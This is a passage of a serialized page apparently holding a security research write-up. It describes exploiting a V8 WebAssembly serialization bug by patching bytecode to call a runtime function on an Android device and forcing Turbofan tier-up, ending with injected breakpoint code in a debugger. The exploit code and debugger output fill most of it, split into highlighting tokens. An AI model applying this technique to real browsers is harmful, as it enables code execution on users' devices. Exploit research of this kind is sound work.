,{"style":1242},[137877],{"type":30,"value":137878},"93",{"type":24,"tag":930,"props":137880,"children":137881},{"style":959},[137882],{"type":30,"value":2832},{"type":24,"tag":930,"props":137884,"children":137885},{"class":932,"line":1191},[137886,137891,137895,137899,137903,137907,137911,137915,137919,137923,137927,137931,137935,137939,137943,137947,137951,137955,137959,137963,137967,137971,137975,137979,137983,137987,137991,137995,137999,138003,138007,138011,138015,138019,138023,138027,138031,138035,138039,138043,138047,138051,138055,138059,138063,138067,138071,138075,138079,138083,138087,138091,138095,138099,138103,138107,138111,138115,138119,138123],{"type":24,"tag":930,"props":137887,"children":137888},{"style":1242},[137889],{"type":30,"value":137890},"    195",{"type":24,"tag":930,"props":137892,"children":137893},{"style":959},[137894],{"type":30,"value":962},{"type":24,"tag":930,"props":137896,"children":137897},{"style":1242},[137898],{"type":30,"value":47397},{"type":24,"tag":930,"props":137900,"children":137901},{"style":959},[137902],{"type":30,"value":962},{"type":24,"tag":930,"props":137904,"children":137905},{"style":1242},[137906],{"type":30,"value":62701},{"type":24,"tag":930,"props":137908,"children":137909},{"style":959},[137910],{"type":30,"value":962},{"type":24,"tag":930,"props":137912,"children":137913},{"style":1242},[137914],{"type":30,"value":99732},{"type":24,"tag":930,"props":137916,"children":137917},{"style":959},[137918],{"type":30,"value":962},{"type":24,"tag":930,"props":137920,"children":137921},{"style":1242},[137922],{"type":30,"value":1818},{"type":24,"tag":930,"props":137924,"children":137925},{"style":959},[137926],{"type":30,"value":962},{"type":24,"tag":930,"props":137928,"children":137929},{"style":1242},[137930],{"type":30,"value":20630},{"type":24,"tag":930,"props":137932,"children":137933},{"style":959},[137934],{"type":30,"value":962},{"type":24,"tag":930,"props":137936,"children":137937},{"style":1242},[137938],{"type":30,"value":1818},{"type":24,"tag":930,"props":137940,"children":137941},{"style":959},[137942],{"type":30,"value":962},{"type":24,"tag":930,"props":137944,"children":137945},{"style":1242},[137946],{"type":30,"value":1818},{"type":24,"tag":930,"props":137948,"children":137949},{"style":959},[137950],{"type":30,"value":962},{"type":24,"tag":930,"props":137952,"children":137953},{"style":1242},[137954],{"type":30,"value":1818},{"type":24,"tag":930,"props":137956,"children":137957},{"style":959},[137958],{"type":30,"value":962},{"type":24,"tag":930,"props":137960,"children":137961},{"style":1242},[137962],{"type":30,"value":1818},{"type":24,"tag":930,"props":137964,"children":137965},{"style":959},[137966],{"type":30,"value":962},{"type":24,"tag":930,"props":137968,"children":137969},{"style":1242},[137970],{"type":30,"value":1818},{"type":24,"tag":930,"props":137972,"children":137973},{"style":959},[137974],{"type":30,"value":962},{"type":24,"tag":930,"props":137976,"children":137977},{"style":1242},[137978],{"type":30,"value":1818},{"type":24,"tag":930,"props":137980,"children":137981},{"style":959},[137982],{"type":30,"value":962},{"type":24,"tag":930,"props":137984,"children":137985},{"style":1242},[137986],{"type":30,"value":1818},{"type":24,"tag":930,"props":137988,"children":137989},{"style":959},[137990],{"type":30,"value":962},{"type":24,"tag":930,"props":137992,"children":137993},{"style":1242},[137994],{"type":30,"value":1818},{"type":24,"tag":930,"props":137996,"children":137997},{"style":959},[137998],{"type":30,"value":962},{"type":24,"tag":930,"props":138000,"children":138001},{"style":1242},[138002],{"type":30,"value":20630},{"type":24,"tag":930,"props":138004,"children":138005},{"style":959},[138006],{"type":30,"value":962},{"type":24,"tag":930,"props":138008,"children":138009},{"style":1242},[138010],{"type":30,"value":1818},{"type":24,"tag":930,"props":138012,"children":138013},{"style":959},[138014],{"type":30,"value":962},{"type":24,"tag":930,"props":138016,"children":138017},{"style":1242},[138018],{"type":30,"value":1818},{"type":24,"tag":930,"props":138020,"children":138021},{"style":959},[138022],{"type":30,"value":962},{"type":24,"tag":930,"props":138024,"children":138025},{"style":1242},[138026],{"type":30,"value":1818},{"type":24,"tag":930,"props":138028,"children":138029},{"style":959},[138030],{"type":30,"value":962},{"type":24,"tag":930,"props":138032,"children":138033},{"style":1242},[138034],{"type":30,"value":1818},{"type":24,"tag":930,"props":138036,"children":138037},{"style":959},[138038],{"type":30,"value":962},{"type":24,"tag":930,"props":138040,"children":138041},{"style":1242},[138042],{"type":30,"value":1818},{"type":24,"tag":930,"props":138044,"children":138045},{"style":959},[138046],{"type":30,"value":962},{"type":24,"tag":930,"props":138048,"children":138049},{"style":1242},[138050],{"type":30,"value":1818},{"type":24,"tag":930,"props":138052,"children":138053},{"style":959},[138054],{"type":30,"value":962},{"type":24,"tag":930,"props":138056,"children":138057},{"style":1242},[138058],{"type":30,"value":1818},{"type":24,"tag":930,"props":138060,"children":138061},{"style":959},[138062],{"type":30,"value":962},{"type":24,"tag":930,"props":138064,"children":138065},{"style":1242},[138066],{"type":30,"value":1818},{"type":24,"tag":930,"props":138068,"children":138069},{"style":959},[138070],{"type":30,"value":962},{"type":24,"tag":930,"props":138072,"children":138073},{"style":1242},[138074],{"type":30,"value":1818},{"type":24,"tag":930,"props":138076,"children":138077},{"style":959},[138078],{"type":30,"value":962},{"type":24,"tag":930,"props":138080,"children":138081},{"style":1242},[138082],{"type":30,"value":1818},{"type":24,"tag":930,"props":138084,"children":138085},{"style":959},[138086],{"type":30,"value":962},{"type":24,"tag":930,"props":138088,"children":138089},{"style":1242},[138090],{"type":30,"value":1818},{"type":24,"tag":930,"props":138092,"children":138093},{"style":959},[138094],{"type":30,"value":962},{"type":24,"tag":930,"props":138096,"children":138097},{"style":1242},[138098],{"type":30,"value":1818},{"type":24,"tag":930,"props":138100,"children":138101},{"style":959},[138102],{"type":30,"value":962},{"type":24,"tag":930,"props":138104,"children":138105},{"style":1242},[138106],{"type":30,"value":1818},{"type":24,"tag":930,"props":138108,"children":138109},{"style":959},[138110],{"type":30,"value":962},{"type":24,"tag":930,"props":138112,"children":138113},{"style":1242},[138114],{"type":30,"value":1818},{"type":24,"tag":930,"props":138116,"children":138117},{"style":959},[138118],{"type":30,"value":962},{"type":24,"tag":930,"props":138120,"children":138121},{"style":1242},[138122],{"type":30,"value":1818},{"type":24,"tag":930,"props":138124,"children":138125},{"style":959},[138126],{"type":30,"value":2832},{"type":24,"tag":930,"props":138128,"children":138129},{"class":932,"line":1223},[138130,138134,138138,138142,138146,138150,138154,138158,138162,138166,138170,138174,138178,138182,138186,138190,138194,138198,138202,138206,138210,138214,138218,138222,138226,138230,138234,138238,138242,138246,138250,138254,138258,138262,138266,138270,138274,138278,138282,138286,138290,138294,138298,138302,138306,138310,138314,138318,138322,138326,138330,138335,138339,138343],{"type":24,"tag":930,"props":138131,"children":138132},{"style":1242},[138133],{"type":30,"value":136625},{"type":24,"tag":930,"props":138135,"children":138136},{"style":959},[138137],{"type":30,"value":962},{"type":24,"tag":930,"props":138139,"children":138140},{"style":1242},[138141],{"type":30,"value":1818},{"type":24,"tag":930,"props":138143,"children":138144},{"style":959},[138145],{"type":30,"value":962},{"type":24,"tag":930,"props":138147,"children":138148},{"style":1242},[138149],{"type":30,"value":1818},{"type":24,"tag":930,"props":138151,"children":138152},{"style":959},[138153],{"type":30,"value":962},{"type":24,"tag":930,"props":138155,"children":138156},{"style":1242},[138157],{"type":30,"value":1818},{"type":24,"tag":930,"props":138159,"children":138160},{"style":959},[138161],{"type":30,"value":962},{"type":24,"tag":930,"props":138163,"children":138164},{"style":1242},[138165],{"type":30,"value":1818},{"type":24,"tag":930,"props":138167,"children":138168},{"style":959},[138169],{"type":30,"value":962},{"type":24,"tag":930,"props":138171,"children":138172},{"style":1242},[138173],{"type":30,"value":1818},{"type":24,"tag":930,"props":138175,"children":138176},{"style":959},[138177],{"type":30,"value":962},{"type":24,"tag":930,"props":138179,"children":138180},{"style":1242},[138181],{"type":30,"value":1818},{"type":24,"tag":930,"props":138183,"children":138184},{"style":959},[138185],{"type":30,"value":962},{"type":24,"tag":930,"props":138187,"children":138188},{"style":1242},[138189],{"type":30,"value":1818},{"type":24,"tag":930,"props":138191,"children":138192},{"style":959},[138193],{"type":30,"value":962},{"type":24,"tag":930,"props":138195,"children":138196},{"style":1242},[138197],{"type":30,"value":1818},{"type":24,"tag":930,"props":138199,"children":138200},{"style":959},[138201],{"type":30,"value":962},{"type":24,"tag":930,"props":138203,"children":138204},{"style":1242},[138205],{"type":30,"value":1818},{"type":24,"tag":930,"props":138207,"children":138208},{"style":959},[138209],{"type":30,"value":962},{"type":24,"tag":930,"props":138211,"children":138212},{"style":1242},[138213],{"type":30,"value":1818},{"type":24,"tag":930,"props":138215,"children":138216},{"style":959},[138217],{"type":30,"value":962},{"type":24,"tag":930,"props":138219,"children":138220},{"style":1242},[138221],{"type":30,"value":1818},{"type":24,"tag":930,"props":138223,"children":138224},{"style":959},[138225],{"type":30,"value":962},{"type":24,"tag":930,"props":138227,"children":138228},{"style":1242},[138229],{"type":30,"value":1818},{"type":24,"tag":930,"props":138231,"children":138232},{"style":959},[138233],{"type":30,"value":962},{"type":24,"tag":930,"props":138235,"children":138236},{"style":1242},[138237],{"type":30,"value":1818},{"type":24,"tag":930,"props":138239,"children":138240},{"style":959},[138241],{"type":30,"value":962},{"type":24,"tag":930,"props":138243,"children":138244},{"style":1242},[138245],{"type":30,"value":1818},{"type":24,"tag":930,"props":138247,"children":138248},{"style":959},[138249],{"type":30,"value":962},{"type":24,"tag":930,"props":138251,"children":138252},{"style":1242},[138253],{"type":30,"value":1818},{"type":24,"tag":930,"props":138255,"children":138256},{"style":959},[138257],{"type":30,"value":962},{"type":24,"tag":930,"props":138259,"children":138260},{"style":1242},[138261],{"type":30,"value":1818},{"type":24,"tag":930,"props":138263,"children":138264},{"style":959},[138265],{"type":30,"value":962},{"type":24,"tag":930,"props":138267,"children":138268},{"style":1242},[138269],{"type":30,"value":1818},{"type":24,"tag":930,"props":138271,"children":138272},{"style":959},[138273],{"type":30,"value":962},{"type":24,"tag":930,"props":138275,"children":138276},{"style":1242},[138277],{"type":30,"value":1818},{"type":24,"tag":930,"props":138279,"children":138280},{"style":959},[138281],{"type":30,"value":962},{"type":24,"tag":930,"props":138283,"children":138284},{"style":1242},[138285],{"type":30,"value":1818},{"type":24,"tag":930,"props":138287,"children":138288},{"style":959},[138289],{"type":30,"value":962},{"type":24,"tag":930,"props":138291,"children":138292},{"style":1242},[138293],{"type":30,"value":1818},{"type":24,"tag":930,"props":138295,"children":138296},{"style":959},[138297],{"type":30,"value":962},{"type":24,"tag":930,"props":138299,"children":138300},{"style":1242},[138301],{"type":30,"value":1818},{"type":24,"tag":930,"props":138303,"children":138304},{"style":959},[138305],{"type":30,"value":962},{"type":24,"tag":930,"props":138307,"children":138308},{"style":1242},[138309],{"type":30,"value":1818},{"type":24,"tag":930,"props":138311,"children":138312},{"style":959},[138313],{"type":30,"value":962},{"type":24,"tag":930,"props":138315,"children":138316},{"style":1242},[138317],{"type":30,"value":32513},{"type":24,"tag":930,"props":138319,"children":138320},{"style":959},[138321],{"type":30,"value":962},{"type":24,"tag":930,"props":138323,"children":138324},{"style":1242},[138325],{"type":30,"value":137878},{"type":24,"tag":930,"props":138327,"children":138328},{"style":959},[138329],{"type":30,"value":962},{"type":24,"tag":930,"props":138331,"children":138332},{"style":1242},[138333],{"type":30,"value":138334},"198",{"type":24,"tag":930,"props":138336,"children":138337},{"style":959},[138338],{"type":30,"value":962},{"type":24,"tag":930,"props":138340,"children":138341},{"style":1242},[138342],{"type":30,"value":1818},{"type":24,"tag":930,"props":138344,"children":138345},{"style":959},[138346],{"type":30,"value":2832},{"type":24,"tag":930,"props":138348,"children":138349},{"class":932,"line":1281},[138350],{"type":24,"tag":930,"props":138351,"children":138352},{"style":959},[138353],{"type":30,"value":136912},{"type":24,"tag":930,"props":138355,"children":138356},{"class":932,"line":1313},[138357,138361,138366,138370,138375,138379,138383,138387,138391,138395,138399],{"type":24,"tag":930,"props":138358,"children":138359},{"style":937},[138360],{"type":30,"value":10965},{"type":24,"tag":930,"props":138362,"children":138363},{"style":1023},[138364],{"type":30,"value":138365}," r",{"type":24,"tag":930,"props":138367,"children":138368},{"style":1158},[138369],{"type":30,"value":6137},{"type":24,"tag":930,"props":138371,"children":138372},{"style":1002},[138373],{"type":30,"value":138374}," bug",{"type":24,"tag":930,"props":138376,"children":138377},{"style":959},[138378],{"type":30,"value":1010},{"type":24,"tag":930,"props":138380,"children":138381},{"style":1023},[138382],{"type":30,"value":136243},{"type":24,"tag":930,"props":138384,"children":138385},{"style":959},[138386],{"type":30,"value":962},{"type":24,"tag":930,"props":138388,"children":138389},{"style":1023},[138390],{"type":30,"value":127570},{"type":24,"tag":930,"props":138392,"children":138393},{"style":959},[138394],{"type":30,"value":436},{"type":24,"tag":930,"props":138396,"children":138397},{"style":1023},[138398],{"type":30,"value":127570},{"type":24,"tag":930,"props":138400,"children":138401},{"style":959},[138402],{"type":30,"value":1278},{"type":24,"tag":930,"props":138404,"children":138405},{"class":932,"line":1335},[138406,138411,138415,138419,138423,138427,138431,138435,138440,138444],{"type":24,"tag":930,"props":138407,"children":138408},{"style":1023},[138409],{"type":30,"value":138410},"  result",{"type":24,"tag":930,"props":138412,"children":138413},{"style":1158},[138414],{"type":30,"value":6137},{"type":24,"tag":930,"props":138416,"children":138417},{"style":959},[138418],{"type":30,"value":1087},{"type":24,"tag":930,"props":138420,"children":138421},{"style":1079},[138422],{"type":30,"value":36004},{"type":24,"tag":930,"props":138424,"children":138425},{"style":1023},[138426],{"type":30,"value":138365},{"type":24,"tag":930,"props":138428,"children":138429},{"style":959},[138430],{"type":30,"value":436},{"type":24,"tag":930,"props":138432,"children":138433},{"style":1002},[138434],{"type":30,"value":60654},{"type":24,"tag":930,"props":138436,"children":138437},{"style":959},[138438],{"type":30,"value":138439},"()).",{"type":24,"tag":930,"props":138441,"children":138442},{"style":1023},[138443],{"type":30,"value":42239},{"type":24,"tag":930,"props":138445,"children":138446},{"style":959},[138447],{"type":30,"value":5539},{"type":24,"tag":930,"props":138449,"children":138450},{"class":932,"line":1376},[138451,138455,138460,138464,138468,138472,138476,138480,138484,138488],{"type":24,"tag":930,"props":138452,"children":138453},{"style":937},[138454],{"type":30,"value":39276},{"type":24,"tag":930,"props":138456,"children":138457},{"style":1023},[138458],{"type":30,"value":138459}," wasm_instance",{"type":24,"tag":930,"props":138461,"children":138462},{"style":1158},[138463],{"type":30,"value":6137},{"type":24,"tag":930,"props":138465,"children":138466},{"style":937},[138467],{"type":30,"value":35023},{"type":24,"tag":930,"props":138469,"children":138470},{"style":1023},[138471],{"type":30,"value":136226},{"type":24,"tag":930,"props":138473,"children":138474},{"style":959},[138475],{"type":30,"value":436},{"type":24,"tag":930,"props":138477,"children":138478},{"style":1002},[138479],{"type":30,"value":136280},{"type":24,"tag":930,"props":138481,"children":138482},{"style":959},[138483],{"type":30,"value":1010},{"type":24,"tag":930,"props":138485,"children":138486},{"style":1023},[138487],{"type":30,"value":12191},{"type":24,"tag":930,"props":138489,"children":138490},{"style":959},[138491],{"type":30,"value":1278},{"type":24,"tag":930,"props":138493,"children":138494},{"class":932,"line":1418},[138495,138499,138503,138507,138511,138515,138519,138523,138527],{"type":24,"tag":930,"props":138496,"children":138497},{"style":937},[138498],{"type":30,"value":39276},{"type":24,"tag":930,"props":138500,"children":138501},{"style":1023},[138502],{"type":30,"value":36059},{"type":24,"tag":930,"props":138504,"children":138505},{"style":1158},[138506],{"type":30,"value":6137},{"type":24,"tag":930,"props":138508,"children":138509},{"style":1023},[138510],{"type":30,"value":138459},{"type":24,"tag":930,"props":138512,"children":138513},{"style":959},[138514],{"type":30,"value":436},{"type":24,"tag":930,"props":138516,"children":138517},{"style":1023},[138518],{"type":30,"value":40974},{"type":24,"tag":930,"props":138520,"children":138521},{"style":959},[138522],{"type":30,"value":436},{"type":24,"tag":930,"props":138524,"children":138525},{"style":1023},[138526],{"type":30,"value":136329},{"type":24,"tag":930,"props":138528,"children":138529},{"style":959},[138530],{"type":30,"value":5539},{"type":24,"tag":930,"props":138532,"children":138533},{"class":932,"line":1438},[138534,138539],{"type":24,"tag":930,"props":138535,"children":138536},{"style":1002},[138537],{"type":30,"value":138538},"  f",{"type":24,"tag":930,"props":138540,"children":138541},{"style":959},[138542],{"type":30,"value":1310},{"type":24,"tag":930,"props":138544,"children":138545},{"class":932,"line":1479},[138546],{"type":24,"tag":930,"props":138547,"children":138548},{"style":959},[138549],{"type":30,"value":105044},{"type":24,"tag":33,"props":138551,"children":138552},{},[138553],{"type":30,"value":138554},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":920,"props":138556,"children":138558},{"code":138557},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[138559],{"type":24,"tag":156,"props":138560,"children":138561},{"__ignoreMap":7},[138562],{"type":30,"value":138557},{"type":24,"tag":151,"props":138564,"children":138566},{"id":138565},"porting-to-android",[138567],{"type":30,"value":138568},"Porting to Android",{"type":24,"tag":33,"props":138570,"children":138571},{},[138572,138574,138579,138581,138586,138588,138593,138595,138601],{"type":30,"value":138573},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":156,"props":138575,"children":138577},{"className":138576},[],[138578],{"type":30,"value":135358},{"type":30,"value":138580}," fails. We cross-compiled ",{"type":24,"tag":156,"props":138582,"children":138584},{"className":138583},[],[138585],{"type":30,"value":134517},{"type":30,"value":138587}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":156,"props":138589,"children":138591},{"className":138590},[],[138592],{"type":30,"value":135358},{"type":30,"value":138594}," returned ",{"type":24,"tag":156,"props":138596,"children":138598},{"className":138597},[],[138599],{"type":30,"value":138600},"undefined",{"type":30,"value":436},{"type":24,"tag":33,"props":138603,"children":138604},{},[138605,138607,138612,138614,138619],{"type":30,"value":138606},"Instead, we modified the bytecode to call ",{"type":24,"tag":156,"props":138608,"children":138610},{"className":138609},[],[138611],{"type":30,"value":135384},{"type":30,"value":138613}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":156,"props":138615,"children":138617},{"className":138616},[],[138618],{"type":30,"value":135358},{"type":30,"value":436},{"type":24,"tag":920,"props":138621,"children":138623},{"code":138622,"language":38703,"meta":7,"className":38701,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[138624],{"type":24,"tag":156,"props":138625,"children":138626},{"__ignoreMap":7},[138627,138638,138682,138702,138718,138741,138768,138783],{"type":24,"tag":930,"props":138628,"children":138629},{"class":932,"line":933},[138630,138634],{"type":24,"tag":930,"props":138631,"children":138632},{"style":1079},[138633],{"type":30,"value":51421},{"type":24,"tag":930,"props":138635,"children":138636},{"style":959},[138637],{"type":30,"value":981},{"type":24,"tag":930,"props":138639,"children":138640},{"class":932,"line":984},[138641,138645,138649,138653,138657,138661,138665,138670,138674,138678],{"type":24,"tag":930,"props":138642,"children":138643},{"style":1023},[138644],{"type":30,"value":135625},{"type":24,"tag":930,"props":138646,"children":138647},{"style":959},[138648],{"type":30,"value":79697},{"type":24,"tag":930,"props":138650,"children":138651},{"style":1270},[138652],{"type":30,"value":135634},{"type":24,"tag":930,"props":138654,"children":138655},{"style":959},[138656],{"type":30,"value":436},{"type":24,"tag":930,"props":138658,"children":138659},{"style":1002},[138660],{"type":30,"value":135643},{"type":24,"tag":930,"props":138662,"children":138663},{"style":959},[138664],{"type":30,"value":1010},{"type":24,"tag":930,"props":138666,"children":138667},{"style":1242},[138668],{"type":30,"value":138669},"0x059301",{"type":24,"tag":930,"props":138671,"children":138672},{"style":1158},[138673],{"type":30,"value":54344},{"type":24,"tag":930,"props":138675,"children":138676},{"style":1242},[138677],{"type":30,"value":7637},{"type":24,"tag":930,"props":138679,"children":138680},{"style":959},[138681],{"type":30,"value":135665},{"type":24,"tag":930,"props":138683,"children":138684},{"class":932,"line":993},[138685,138689,138693,138698],{"type":24,"tag":930,"props":138686,"children":138687},{"style":1023},[138688],{"type":30,"value":135673},{"type":24,"tag":930,"props":138690,"children":138691},{"style":1158},[138692],{"type":30,"value":12014},{"type":24,"tag":930,"props":138694,"children":138695},{"style":1242},[138696],{"type":30,"value":138697}," 0x03027a6c",{"type":24,"tag":930,"props":138699,"children":138700},{"style":959},[138701],{"type":30,"value":5539},{"type":24,"tag":930,"props":138703,"children":138704},{"class":932,"line":1057},[138705,138709,138714],{"type":24,"tag":930,"props":138706,"children":138707},{"style":1079},[138708],{"type":30,"value":38290},{"type":24,"tag":930,"props":138710,"children":138711},{"style":1242},[138712],{"type":30,"value":138713}," 0x393e71a",{"type":24,"tag":930,"props":138715,"children":138716},{"style":959},[138717],{"type":30,"value":5539},{"type":24,"tag":930,"props":138719,"children":138720},{"class":932,"line":1066},[138721,138725,138729,138733,138737],{"type":24,"tag":930,"props":138722,"children":138723},{"style":959},[138724],{"type":30,"value":49963},{"type":24,"tag":930,"props":138726,"children":138727},{"style":1079},[138728],{"type":30,"value":4760},{"type":24,"tag":930,"props":138730,"children":138731},{"style":959},[138732],{"type":30,"value":1087},{"type":24,"tag":930,"props":138734,"children":138735},{"style":1023},[138736],{"type":30,"value":54543},{"type":24,"tag":930,"props":138738,"children":138739},{"style":959},[138740],{"type":30,"value":1503},{"type":24,"tag":930,"props":138742,"children":138743},{"class":932,"line":1075},[138744,138748,138752,138756,138760,138764],{"type":24,"tag":930,"props":138745,"children":138746},{"style":1023},[138747],{"type":30,"value":105003},{"type":24,"tag":930,"props":138749,"children":138750},{"style":959},[138751],{"type":30,"value":436},{"type":24,"tag":930,"props":138753,"children":138754},{"style":1002},[138755],{"type":30,"value":105012},{"type":24,"tag":930,"props":138757,"children":138758},{"style":959},[138759],{"type":30,"value":1010},{"type":24,"tag":930,"props":138761,"children":138762},{"style":1270},[138763],{"type":30,"value":135749},{"type":24,"tag":930,"props":138765,"children":138766},{"style":959},[138767],{"type":30,"value":1278},{"type":24,"tag":930,"props":138769,"children":138770},{"class":932,"line":1122},[138771,138775,138779],{"type":24,"tag":930,"props":138772,"children":138773},{"style":1079},[138774],{"type":30,"value":135761},{"type":24,"tag":930,"props":138776,"children":138777},{"style":1023},[138778],{"type":30,"value":135766},{"type":24,"tag":930,"props":138780,"children":138781},{"style":959},[138782],{"type":30,"value":5539},{"type":24,"tag":930,"props":138784,"children":138785},{"class":932,"line":1131},[138786],{"type":24,"tag":930,"props":138787,"children":138788},{"style":959},[138789],{"type":30,"value":2528},{"type":24,"tag":33,"props":138791,"children":138792},{},[138793,138795,138801,138803,138809,138811,138817,138819,138824,138826,138832,138834,138839,138840,138846],{"type":30,"value":138794},"Here, ",{"type":24,"tag":156,"props":138796,"children":138798},{"className":138797},[],[138799],{"type":30,"value":138800},"a1 + 0x03027a6c",{"type":30,"value":138802}," generates the bytes ",{"type":24,"tag":156,"props":138804,"children":138806},{"className":138805},[],[138807],{"type":30,"value":138808},"01 4b 6c 7a 02 03",{"type":30,"value":138810},", where ",{"type":24,"tag":156,"props":138812,"children":138814},{"className":138813},[],[138815],{"type":30,"value":138816},"0x6c",{"type":30,"value":138818}," is the ",{"type":24,"tag":156,"props":138820,"children":138822},{"className":138821},[],[138823],{"type":30,"value":135342},{"type":30,"value":138825}," opcode, ",{"type":24,"tag":156,"props":138827,"children":138829},{"className":138828},[],[138830],{"type":30,"value":138831},"0x027a",{"type":30,"value":138833}," is the function ID of ",{"type":24,"tag":156,"props":138835,"children":138837},{"className":138836},[],[138838],{"type":30,"value":135384},{"type":30,"value":9599},{"type":24,"tag":156,"props":138841,"children":138843},{"className":138842},[],[138844],{"type":30,"value":138845},"0x03",{"type":30,"value":138847}," is the register index holding its first argument.",{"type":24,"tag":33,"props":138849,"children":138850},{},[138851,138853,138858,138859,138864,138866,138871],{"type":30,"value":138852},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":156,"props":138854,"children":138856},{"className":138855},[],[138857],{"type":30,"value":135384},{"type":30,"value":211},{"type":24,"tag":156,"props":138860,"children":138862},{"className":138861},[],[138863],{"type":30,"value":136352},{"type":30,"value":138865},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":156,"props":138867,"children":138869},{"className":138868},[],[138870],{"type":30,"value":136352},{"type":30,"value":138872},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":920,"props":138874,"children":138876},{"code":138875,"language":38703,"meta":7,"className":38701,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[138877],{"type":24,"tag":156,"props":138878,"children":138879},{"__ignoreMap":7},[138880,138888,138948,138960],{"type":24,"tag":930,"props":138881,"children":138882},{"class":932,"line":933},[138883],{"type":24,"tag":930,"props":138884,"children":138885},{"style":1422},[138886],{"type":30,"value":138887},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":930,"props":138889,"children":138890},{"class":932,"line":984},[138891,138895,138899,138903,138907,138911,138915,138919,138923,138927,138932,138936,138940,138944],{"type":24,"tag":930,"props":138892,"children":138893},{"style":1079},[138894],{"type":30,"value":6510},{"type":24,"tag":930,"props":138896,"children":138897},{"style":959},[138898],{"type":30,"value":1087},{"type":24,"tag":930,"props":138900,"children":138901},{"style":937},[138902],{"type":30,"value":14894},{"type":24,"tag":930,"props":138904,"children":138905},{"style":1023},[138906],{"type":30,"value":6515},{"type":24,"tag":930,"props":138908,"children":138909},{"style":1158},[138910],{"type":30,"value":6137},{"type":24,"tag":930,"props":138912,"children":138913},{"style":1242},[138914],{"type":30,"value":1245},{"type":24,"tag":930,"props":138916,"children":138917},{"style":959},[138918],{"type":30,"value":20328},{"type":24,"tag":930,"props":138920,"children":138921},{"style":1023},[138922],{"type":30,"value":6854},{"type":24,"tag":930,"props":138924,"children":138925},{"style":1158},[138926],{"type":30,"value":11828},{"type":24,"tag":930,"props":138928,"children":138929},{"style":1242},[138930],{"type":30,"value":138931}," 0x100000",{"type":24,"tag":930,"props":138933,"children":138934},{"style":959},[138935],{"type":30,"value":20328},{"type":24,"tag":930,"props":138937,"children":138938},{"style":1023},[138939],{"type":30,"value":6854},{"type":24,"tag":930,"props":138941,"children":138942},{"style":1158},[138943],{"type":30,"value":54358},{"type":24,"tag":930,"props":138945,"children":138946},{"style":959},[138947],{"type":30,"value":1503},{"type":24,"tag":930,"props":138949,"children":138950},{"class":932,"line":993},[138951,138956],{"type":24,"tag":930,"props":138952,"children":138953},{"style":1002},[138954],{"type":30,"value":138955},"  func",{"type":24,"tag":930,"props":138957,"children":138958},{"style":959},[138959],{"type":30,"value":1310},{"type":24,"tag":930,"props":138961,"children":138962},{"class":932,"line":1057},[138963],{"type":24,"tag":930,"props":138964,"children":138965},{"style":959},[138966],{"type":30,"value":2528},{"type":24,"tag":33,"props":138968,"children":138969},{},[138970],{"type":30,"value":138971},"Finally, running this code on the device:",{"type":24,"tag":920,"props":138973,"children":138975},{"code":138974,"language":38703,"meta":7,"className":38701,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138976],{"type":24,"tag":156,"props":138977,"children":138978},{"__ignoreMap":7},[138979,139002,139030,139249,139316,139323,139366,139409,139448,139455,139463,139523,139535,139542,139549,139580,139623,139650,139657,139693,139756],{"type":24,"tag":930,"props":138980,"children":138981},{"class":932,"line":933},[138982,138986,138990,138994,138998],{"type":24,"tag":930,"props":138983,"children":138984},{"style":959},[138985],{"type":30,"value":1010},{"type":24,"tag":930,"props":138987,"children":138988},{"style":937},[138989],{"type":30,"value":39233},{"type":24,"tag":930,"props":138991,"children":138992},{"style":959},[138993],{"type":30,"value":42784},{"type":24,"tag":930,"props":138995,"children":138996},{"style":937},[138997],{"type":30,"value":17925},{"type":24,"tag":930,"props":138999,"children":139000},{"style":959},[139001],{"type":30,"value":981},{"type":24,"tag":930,"props":139003,"children":139004},{"class":932,"line":984},[139005,139010,139014,139018,139022,139026],{"type":24,"tag":930,"props":139006,"children":139007},{"style":937},[139008],{"type":30,"value":139009},"  var",{"type":24,"tag":930,"props":139011,"children":139012},{"style":1023},[139013],{"type":30,"value":135882},{"type":24,"tag":930,"props":139015,"children":139016},{"style":1158},[139017],{"type":30,"value":6137},{"type":24,"tag":930,"props":139019,"children":139020},{"style":937},[139021],{"type":30,"value":35023},{"type":24,"tag":930,"props":139023,"children":139024},{"style":1002},[139025],{"type":30,"value":135895},{"type":24,"tag":930,"props":139027,"children":139028},{"style":959},[139029],{"type":30,"value":135900},{"type":24,"tag":930,"props":139031,"children":139032},{"class":932,"line":993},[139033,139037,139041,139045,139049,139053,139057,139061,139065,139069,139073,139077,139081,139085,139089,139093,139097,139101,139105,139109,139113,139117,139121,139125,139129,139133,139137,139141,139145,139149,139153,139157,139161,139165,139169,139173,139177,139181,139185,139189,139193,139197,139201,139205,139209,139213,139217,139221,139225,139229,139233,139237,139241,139245],{"type":24,"tag":930,"props":139034,"children":139035},{"style":1242},[